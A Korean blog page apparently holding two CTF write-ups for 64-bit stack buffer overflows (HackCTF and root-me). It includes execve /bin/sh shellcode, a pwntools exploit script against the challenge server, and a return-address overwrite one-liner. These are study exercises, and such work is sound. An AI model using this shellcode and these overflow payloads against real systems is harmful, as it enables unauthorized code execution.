반응형
반응형
반응형

64bit ELF FILE이다.

 

main함수를 보자.

 

buffer의 주소를 출력해 준다.

 

buffer에 64bit용 shellcode을 올려주고 리턴주소를 buffer의 주소로 덮어주면 된다.

 

0x6D30 = 27952(10)

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
p = remote("ctf.j0n9hyun.xyz", 3005)
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #x64
p.recvuntil(": ")
buf = int(p.recv(14), 16)
print hex(buf)
 
payload = shellcode
payload += "A" * (27960-23)
payload += p64(buf)
 
p.sendline(payload)
 
p.interactive()
 cs
반응형
저작자표시 비영리 동일조건

'WAR GAME > HackCTF' 카테고리의 다른 글

HackCTF Pwnable [Offset] 풀이  (0) 2019.08.30
HackCTF Pwnable [Simple_Overflow_ver_2] 풀이  (0) 2019.08.30
HackCTF Pwnable [x64 Buffer Overflow] 풀이  (0) 2019.08.29
HackCTF Pwnable [내 버퍼가 흘러넘친다!!!] 풀이  (0) 2019.08.29
HackCTF Pwnable [Basic_BOF #2] 풀이  (0) 2019.08.29
반응형

root-me.org [APP - SYSTEM] ELF x64 - Stack buffer overflow - basic 풀이



문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash", "-p", NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}
cs


buffer[256]에 크기제한없이 scanf()을 통해 입력받으므로 bof가 발생한다.



이제 gdb를 이용해 리턴주소를 덮을 callMeMaybe()함수의 주소와, buffer[256]의 위치를 알아내야 한다.



(gdb) disas callMeMaybe

Dump of assembler code for function callMeMaybe:

   0x00000000004005e7 <+0>: push   rbp

   0x00000000004005e8 <+1>: mov    rbp,rsp

   0x00000000004005eb <+4>: sub    rsp,0x20



64비트에서 리턴주소는 6bit만 사용하므로 덮어야 하는 값은 0x0000004005e7이다.



(gdb) disas main
Dump of assembler code for function main:
...
   0x000000000040065b <+51>: lea    rax,[rbp-0x110]
   0x0000000000400662 <+58>: mov    rdi,rax
   0x0000000000400665 <+61>: call   0x4004c0 <strlen@plt>   
... 
End of assembler dump.

buffer[256]은 rbp-0x110에 있다. 0x110은 272바이트로, dummy가 272-256=16 바이트만큼 존재함을 알 수 있다.


buffer[256]+dummy[16]+SFP[8]를 덮고 위에서 찾은 함수주소를 더 덮어주면 될 것 같다.


exploit
(python -c 'print "A"*280+"\xe7\x05\x40\x00\x00\x00"'; cat) | ./ch35



반응형
저작자표시 비영리 동일조건

'WAR GAME > Root-Me.org' 카테고리의 다른 글

root-me.org [APP - SYSTEM] ELF x86 - Format string bug basic 2 풀이  (0) 2019.01.21
root-me.org [CRYPTANALYSIS] Encoding - ASCII , Encoding - UU , Hash - Message Digest 5 , Hash - SHA-2 , Shift cipher , File - PKZIP 풀이  (0) 2019.01.21
root-me.org [APP - SYSTEM] Format string bug basic 1 풀이  (0) 2019.01.20
root-me.org [APP - SYSTEM] ELF x86 - Stack buffer overflow basic 2 풀이  (0) 2019.01.20
root-me.org [APP - SYSTEM] ELF x86 - Stack buffer overflow basic 1 풀이  (0) 2019.01.20

+ Recent posts

티스토리툴바